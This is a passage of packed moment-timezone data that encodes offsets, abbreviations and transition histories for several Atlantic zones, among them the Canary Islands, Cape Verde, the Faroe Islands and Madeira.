1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|65e3","Atlantic/Canary|LMT -01 WET WEST|11.A 10 0 -10|01232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-1UtaW.o XPAW.o 1lAK0 1a10 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|54e4","Atlantic/Cape_Verde|LMT -02 -01|1y.4 20 10|01212|-2ldW0 1eEo0 7zX0 1djf0|50e4","Atlantic/Faroe|LMT WET WEST|r.4 0 -10|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2uSnw.U 2Wgow.U 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|49e3","Atlantic/Madeira|LMT FMT -01 +00 +01 WET WEST|17.A 17.A 10 0 -10 0 -10|01232323232323232323232323232323232323232323234323432343234323232323232323232323232323232323232323232565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tomQ.o 18anQ.o aPX0 Sp0 LX0 1vc0 Tc0 1uM0 SM0 1vc0 Tc0 1vc0 SM0 1vc0 6600 1co0 3E00 17c0 1fA0 1a00 1io0 1a00 1io0 17c0 3I00 17c0 1cM0 1cM0 3Fc0 1cM0 1a00 1fA0 1io0 17c0 1cM0 1cM0 1a00 1fA0 1io0 1qM0 Dc0 1tA0 1cM0 1dc0 1400 gL0 IM0 s10 U00 dX0 Rc0 pd0 Rc0 gL0 Oo0 pd0 Rc0 gL0 Oo0 pd0 14o0 1cM0 1cP0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 qIl0 1cM0 1fA0 1cM0 1cM0 1cN0 1cL0 1cN0 1cM0 1cM0 1cM0 1cM0 1cN0 1cL0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 